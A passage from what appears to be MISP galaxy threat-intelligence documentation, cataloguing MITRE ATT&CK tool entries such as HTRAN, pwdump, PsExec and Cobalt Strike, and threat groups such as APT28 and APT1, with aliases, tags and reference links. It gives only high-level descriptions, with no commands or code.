- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

Table 2356. Table References

Links
https://attack.mitre.org/wiki/Software/S0102
https://technet.microsoft.com/en-us/library/cc940106.aspx

HTRAN - S0040

HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. (Citation: Operation Quantum Entanglement)

Aliases: HTRAN, HUC Packet Transmit Tool

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="HTRAN - S0040"*

HTRAN - S0040 is also known as:

- HTRAN
- HUC Packet Transmit Tool

HTRAN - S0040 has relationships with:

- similar: misp-galaxy:malpedia="HTran" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 2357. Table References

Links
https://attack.mitre.org/wiki/Software/S0040
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf

Tor - S0183

Tor is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. Tor utilizes "Onion Routing," in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)

Aliases: Tor

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Tor - S0183"*

Tor - S0183 is also known as:

- Tor

Tor - S0183 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"

Table 2358. Table References

Links
https://attack.mitre.org/wiki/Software/S0183
http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf

netstat - S0104

netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)

Aliases: netstat, netstat.exe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="netstat - S0104"*

netstat - S0104 is also known as:

- netstat
- netstat.exe

netstat - S0104 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

Table 2359. Table References

Links
https://attack.mitre.org/wiki/Software/S0104
https://technet.microsoft.com/en-us/library/bb490947.aspx

pwdump - S0006

pwdump is a credential dumper. (Citation: Wikipedia pwdump)

Aliases: pwdump

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="pwdump - S0006"*

pwdump - S0006 is also known as:

- pwdump

pwdump - S0006 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 2360. Table References

Links
https://attack.mitre.org/wiki/Software/S0006
https://en.wikipedia.org/wiki/Pwdump

Cachedump - S0119

Cachedump is a publicly-available tool that program extracts cached password hashes from a system’s registry. (Citation: Mandiant APT1)

Aliases: Cachedump

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Cachedump - S0119"*

Cachedump - S0119 is also known as:

- Cachedump

Cachedump - S0119 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Credential Dumping - T1003" with

estimative-language:likelihood-probability="almost-certain"

Table 2361. Table References

Links
https://attack.mitre.org/wiki/Software/S0119
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Forfiles - S0193

Forfiles is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)

Aliases: Forfiles

Contributors: Matthew Demaske, Adaptforward

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Forfiles - S0193"*

Forfiles - S0193 is also known as:

- Forfiles

Forfiles - S0193 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 2362. Table References

Links
https://attack.mitre.org/wiki/Software/S0193
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)

Net - S0039

The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)

Net has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through Windows admin shares using <code>net use</code> commands, and interacting with services.

Aliases: Net, net.exe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Net - S0039"*

Net - S0039 is also known as:

- Net
- net.exe

Net - S0039 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

Table 2363. Table References

Links
https://attack.mitre.org/wiki/Software/S0039
https://msdn.microsoft.com/en-us/library/aa939914
http://windowsitpro.com/windows/netexe-reference

PsExec - S0029

PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)

Aliases: PsExec

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="PsExec - S0029"*

PsExec - S0029 is also known as:

- PsExec

PsExec - S0029 has relationships with:

- similar: misp-galaxy:tool="PsExec" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"

Table 2364. Table References

Links
https://attack.mitre.org/wiki/Software/S0029
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
https://digital-forensics.sans.org/blog/2012/12/17/protecting-privileged-domain-accounts-psexec-deep-dive

certutil - S0160

Certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)

Aliases: certutil, certutil.exe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="certutil - S0160"*

certutil - S0160 is also known as:

- certutil
- certutil.exe

certutil - S0160 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 2365. Table References

Links
https://attack.mitre.org/wiki/Software/S0160
https://technet.microsoft.com/library/cc732443.aspx

Arp - S0099

Arp displays information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)

Aliases: Arp, arp.exe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Arp - S0099"*

Arp - S0099 is also known as:

- Arp
- arp.exe

Arp - S0099 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 2366. Table References

Links
https://attack.mitre.org/wiki/Software/S0099
https://technet.microsoft.com/en-us/library/bb490864.aspx

cmd - S0106

cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd)

Cmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., <code>dir</code> (Citation: TechNet Dir)), deleting files (e.g., <code>del</code> (Citation: TechNet Del)), and copying files (e.g., <code>copy</code> (Citation: TechNet Copy)).

Aliases: cmd, cmd.exe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="cmd - S0106"*

cmd - S0106 is also known as:

- cmd
- cmd.exe

cmd - S0106 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"

Table 2367. Table References

Links
https://attack.mitre.org/wiki/Software/S0106
https://technet.microsoft.com/en-us/library/bb490880.aspx
https://technet.microsoft.com/en-us/library/cc755121.aspx
https://technet.microsoft.com/en-us/library/cc771049.aspx
https://technet.microsoft.com/en-us/library/bb490886.aspx

Havij - S0224

Havij is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)

Aliases: Havij

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Havij - S0224"*

Havij - S0224 is also known as:

- Havij

Havij - S0224 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exploit Public-Facing Application -

T1190" with estimative-language:likelihood-probability="almost-certain"

Table 2368. Table References

Links
https://attack.mitre.org/wiki/Software/S0224
https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/

PowerSploit - S0194

PowerSploit is an open source, offensive security framework compromised of PowerShell modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)

Aliases: PowerSploit

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="PowerSploit - S0194"*

PowerSploit - S0194 is also known as:

- PowerSploit

PowerSploit - S0194 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 2369. Table References

Links
https://attack.mitre.org/wiki/Software/S0194
https://github.com/PowerShellMafia/PowerSploit
http://www.powershellmagazine.com/2014/07/08/powersploit/
http://powersploit.readthedocs.io

meek - S0175

meek is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.

Aliases: meek

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="meek - S0175"*

meek - S0175 is also known as:

- meek

meek - S0175 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Domain Fronting - T1172" with estimative-language:likelihood-probability="almost-certain"

Table 2370. Table References

Links
https://attack.mitre.org/wiki/Software/S0175

Reg - S0075

Reg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)

Utilities such as Reg are known to be used by persistent threats. (Citation: Windows Commands JPCERT)

Aliases: Reg, reg.exe

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Reg - S0075"*

Reg - S0075 is also known as:

- Reg
- reg.exe

Reg - S0075 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"

Table 2371. Table References

Links
https://attack.mitre.org/wiki/Software/S0075
https://technet.microsoft.com/en-us/library/cc732643.aspx
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html

spwebmember - S0227

spwebmember is a Microsoft SharePoint enumeration and data dumping tool written in .NET. (Citation: NCC Group APT15 Alive and Strong)

Aliases: spwebmember

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="spwebmember - S0227"*

spwebmember - S0227 is also known as:

- spwebmember

spwebmember - S0227 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

Table 2372. Table References

Links
https://attack.mitre.org/wiki/Software/S0227
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

Pupy - S0192

Pupy is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) Pupy is publicly available on GitHub. (Citation: GitHub Pupy)

Aliases: Pupy

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Pupy - S0192"*

Pupy - S0192 is also known as:

- Pupy

Pupy - S0192 has relationships with:

- similar: misp-galaxy:rat="Pupy" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"

Table 2373. Table References

Links
https://attack.mitre.org/wiki/Software/S0192
https://github.com/n1nj4sec/pupy

sqlmap - S0225

sqlmap is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)

Aliases: sqlmap

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="sqlmap - S0225"* sqlmap - S0225 is also known as:

- sqlmap

sqlmap - S0225 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 2374. Table References

Links
https://attack.mitre.org/wiki/Software/S0225
http://sqlmap.org/

Cobalt Strike - S0154

Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)

In addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz. (Citation: cobaltstrike manual)

Aliases: Cobalt Strike

Contributors: Josh Abraham

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Cobalt Strike - S0154"*

Cobalt Strike - S0154 is also known as:

- Cobalt Strike

Cobalt Strike - S0154 has relationships with:

- similar: misp-galaxy:rat="Cobalt Strike" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Cobalt Strike" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Table 2375. Table References

Links
https://attack.mitre.org/wiki/Software/S0154
https://cobaltstrike.com/downloads/csmanual38.pdf

Invoke-PSImage - S0231

Invoke-PSImage takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)

Aliases: Invoke-PSImage

Contributors: Christiaan Beek, @ChristiaanBeek

The tag is: *misp-galaxy:mitre-enterprise-attack-tool="Invoke-PSImage - S0231"*

Invoke-PSImage - S0231 is also known as:

- Invoke-PSImage

Invoke-PSImage - S0231 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 2376. Table References

Links
https://attack.mitre.org/wiki/Software/S0231
https://github.com/peewpw/Invoke-PSImage

intrusion Set

Name of ATT&CK Group.

intrusion Set is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Poseidon Group

Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm.[[Citation: Kaspersky Poseidon Group]]

The tag is: *misp-galaxy:mitre-intrusion-set="Poseidon Group"*

Poseidon Group is also known as:

- Poseidon Group

Poseidon Group has relationships with:

- similar: misp-galaxy:threat-actor="Poseidon Group" with estimative-language:likelihood-probability="likely"

Table 2377. Table References

Links
https://attack.mitre.org/wiki/Group/G0033
https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/

Group5

Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack.[[Citation: Citizen Lab Group5]]

The tag is: *misp-galaxy:mitre-intrusion-set="Group5"*

Group5 is also known as:

- Group5

Table 2378. Table References

Links
https://attack.mitre.org/wiki/Group/G0043
https://citizenlab.org/2016/08/group5-syria/

PittyTiger

PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.[[Citation: Bizeul 2014]][[Citation: Villeneuve 2014]]

The tag is: *misp-galaxy:mitre-intrusion-set="PittyTiger"*

PittyTiger is also known as:

- PittyTiger

PittyTiger has relationships with:

- similar: misp-galaxy:threat-actor="Pitty Panda" with estimative-language:likelihood-

probability="likely"

Table 2379. Table References

Links
https://attack.mitre.org/wiki/Group/G0011
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html
http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2

admin@338

admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors.[[Citation: FireEye admin@338]]

The tag is: *misp-galaxy:mitre-intrusion-set="admin@338"*

admin@338 is also known as:

- admin@338

admin@338 has relationships with:

- similar: misp-galaxy:threat-actor="Temper Panda" with estimative-language:likelihood-probability="likely"

Table 2380. Table References

Links
https://attack.mitre.org/wiki/Group/G0018
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

RTM

RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM).[[Citation: ESET RTM Feb 2017]]

The tag is: *misp-galaxy:mitre-intrusion-set="RTM"*

RTM is also known as:

- RTM

Table 2381. Table References

Links
https://attack.mitre.org/wiki/Group/G0048

https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf

APT16

APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations.[[Citation: FireEye EPS Awakens Part 2]]

The tag is: *misp-galaxy:mitre-intrusion-set="APT16"*

APT16 is also known as:

- APT16

Table 2382. Table References

Links
https://attack.mitre.org/wiki/Group/G0023
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

APT28

APT28 is a threat group that has been attributed to the Russian government.[[Citation: FireEye APT28]][[Citation: SecureWorks TG-4127]][[Citation: FireEye APT28 January 2017]][[Citation: GRIZZLY STEPPE JAR]] This group reportedly compromised the Democratic National Committee in April 2016.[[Citation: Crowdstrike DNC June 2016]]

The tag is: *misp-galaxy:mitre-intrusion-set="APT28"*

APT28 is also known as:

- APT28
- Sednit
- Sofacy
- Pawn Storm
- Fancy Bear
- STRONTIUM
- Tsar Team
- Threat Group-4127
- TG-4127

APT28 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="STRONTIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Sofacy" with estimative-language:likelihood-

probability="likely"

Table 2383. Table References

Links
https://attack.mitre.org/wiki/Group/G0007
https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

Winnti Group

Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Though both this group and Axiom use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting.[[Citation: Kaspersky Winnti April 2013]][[Citation: Kaspersky Winnti June 2015]][[Citation: Novetta Winnti April 2015]]

The tag is: *misp-galaxy:mitre-intrusion-set="Winnti Group"*

Winnti Group is also known as:

- Winnti Group
- Blackfly

Winnti Group has relationships with:

- similar: misp-galaxy:threat-actor="Aurora Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Axiom" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Axiom - G0001" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-pre-attack-intrusion-set="APT17 - G0025" with estimative-language:likelihood-probability="likely"

Table 2384. Table References

Links
https://attack.mitre.org/wiki/Group/G0044
https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf
https://securelist.com/blog/incidents/70991/games-are-over/
http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf

Deep Panda

Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications.Deep Panda.Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion.[[Citation: Symantec Black Vine]]

The tag is: *misp-galaxy:mitre-intrusion-set="Deep Panda"*

Deep Panda is also known as:

- Deep Panda
- Shell Crew
- WebMasters
- KungFu Kittens
- PinkPanther
- Black Vine

Deep Panda has relationships with:

- similar: misp-galaxy:threat-actor="Shell Crew" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Hurricane Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Codoso" with estimative-language:likelihood-probability="likely"

Table 2385. Table References

Links
https://attack.mitre.org/wiki/Group/G0009
http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/
https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf

Molerats

Molerats is a politically-motivated threat group that has been operating since 2012. The group’s victims have primarily been in the Middle East, Europe, and the United States.[[Citation: DustySky]][[Citation: DustySky2]]

The tag is: *misp-galaxy:mitre-intrusion-set="Molerats"*

Molerats is also known as:

- Molerats
- Gaza cybergang
- Operation Molerats

Molerats has relationships with:

- similar: misp-galaxy:threat-actor="Molerats" with estimative-language:likelihood-probability="likely"

Table 2386. Table References

Links
https://attack.mitre.org/wiki/Group/G0021
http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2%20-6.2016%20TLP%20White.pdf

Strider

Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.[[Citation: Symantec Strider Blog]][[Citation: Kaspersky ProjectSauron Blog]]

The tag is: *misp-galaxy:mitre-intrusion-set="Strider"*

Strider is also known as:

- Strider
- ProjectSauron

Strider has relationships with:

- similar: misp-galaxy:threat-actor="ProjectSauron" with estimative-language:likelihood-probability="likely"

Table 2387. Table References

Links
https://attack.mitre.org/wiki/Group/G0041
https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/
http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets

Sandworm Team

Sandworm Team is a cyber espionage group that has operated since approximately 2009 and has been attributed to Russia.[[Citation: iSIGHT Sandworm 2014]] This group is also known as Quedagh.[[Citation: F-Secure BlackEnergy 2014]]

The tag is: *misp-galaxy:mitre-intrusion-set="Sandworm Team"*

Sandworm Team is also known as:

- Sandworm Team
- Quedagh

Sandworm Team has relationships with:

- similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="TeleBots" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="ELECTRUM" with estimative-language:likelihood-probability="likely"

Table 2388. Table References

Links
https://attack.mitre.org/wiki/Group/G0034
http://www.isightpartners.com/2014/10/cve-2014-4114/
https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf

FIN6

FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.[[Citation: FireEye FIN6 April 2016]]

The tag is: *misp-galaxy:mitre-intrusion-set="FIN6"*

FIN6 is also known as:

- FIN6

FIN6 has relationships with:

- similar: misp-galaxy:threat-actor="FIN6" with estimative-language:likelihood-probability="likely"

Table 2389. Table References

Links
https://attack.mitre.org/wiki/Group/G0037
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf

Dust Storm

Dust Storm is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries.[[Citation: Cylance Dust Storm]]

The tag is: *misp-galaxy:mitre-intrusion-set="Dust Storm"*

Dust Storm is also known as:

- Dust Storm

Dust Storm has relationships with:

- similar: misp-galaxy:threat-actor="Dust Storm" with estimative-language:likelihood-probability="likely"

Table 2390. Table References

Links
https://attack.mitre.org/wiki/Group/G0031
https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512

Cleaver

Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver.[[Citation: Cylance Cleaver]] Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889).[[Citation: Dell Threat Group 2889]]

The tag is: *misp-galaxy:mitre-intrusion-set="Cleaver"*

Cleaver is also known as:

- Cleaver
- Threat Group 2889
- TG-2889

Cleaver has relationships with:

- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"

Table 2391. Table References

Links
https://attack.mitre.org/wiki/Group/G0003
http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf
http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/

APT12

APT12 is a threat group that has been attributed to China.[[Citation: Meyers Numbered Panda]] It is also known as DynCalc, IXESHE, and Numbered Panda.[[Citation: Moran 2014]][[Citation: Meyers Numbered Panda]]

The tag is: *misp-galaxy:mitre-intrusion-set="APT12"*

APT12 is also known as:

- APT12
- IXESHE
- DynCalc
- Numbered Panda

APT12 has relationships with:

- similar: misp-galaxy:threat-actor="IXESHE" with estimative-language:likelihood-probability="likely"

Table 2392. Table References

Links
https://attack.mitre.org/wiki/Group/G0005
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html
http://www.crowdstrike.com/blog/whois-numbered-panda/

Moafee

Moafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. .[[Citation: Haq 2014]]

The tag is: *misp-galaxy:mitre-intrusion-set="Moafee"*

Moafee is also known as:

- Moafee

Moafee has relationships with:

- similar: misp-galaxy:threat-actor="DragonOK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="DragonOK - G0017" with estimative-language:likelihood-probability="likely"

Table 2393. Table References

Links
https://attack.mitre.org/wiki/Group/G0002
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

Threat Group-3390

is a Chinese threat group that has extensively used strategic Web compromises to target victims.[[Citation: Dell TG-3390]] The group has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors.[[Citation: SecureWorks BRONZE UNION June 2017]]

The tag is: *misp-galaxy:mitre-intrusion-set="Threat Group-3390"*

Threat Group-3390 is also known as:

- Threat Group-3390
- TG-3390
- Emissary Panda
- BRONZE UNION

Threat Group-3390 has relationships with:

- similar: misp-galaxy:threat-actor="Emissary Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Threat Group-3390" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:threat-actor="LuckyMouse" with estimative-language:likelihood-probability="likely"

Table 2394. Table References

Links
https://attack.mitre.org/wiki/Group/G0027
http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/
https://www.secureworks.com/research/bronze-union

DragonOK

DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. [[Citation: Operation Quantum Entanglement]][[Citation: Symbiotic APT Groups]] It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. [[Citation: New DragonOK]]

The tag is: *misp-galaxy:mitre-intrusion-set="DragonOK"*

DragonOK is also known as:

- DragonOK

DragonOK has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Moafee - G0002" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="DragonOK" with estimative-language:likelihood-probability="likely"

Table 2395. Table References

Links
https://attack.mitre.org/wiki/Group/G0017
http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf
https://dl.mandiant.com/EE/library/MIRcon2014/MIRcon%202014%20R&D%20Track%20Insight%20into%20Symbiotic%20APT.pdf

APT1

APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military

Unit Cover Designator (MUCD) as Unit 61398.[[Citation: Mandiant APT1]]

The tag is: *misp-galaxy:mitre-intrusion-set="APT1"*

APT1 is also known as:

- APT1
- Comment Crew
- Comment Group
- Comment Panda

APT1 has relationships with:

- similar: misp-galaxy:threat-actor="Comment Crew" with estimative-language:likelihood-probability="likely"

Table 2396. Table References

Links
https://attack.mitre.org/wiki/Group/G0006
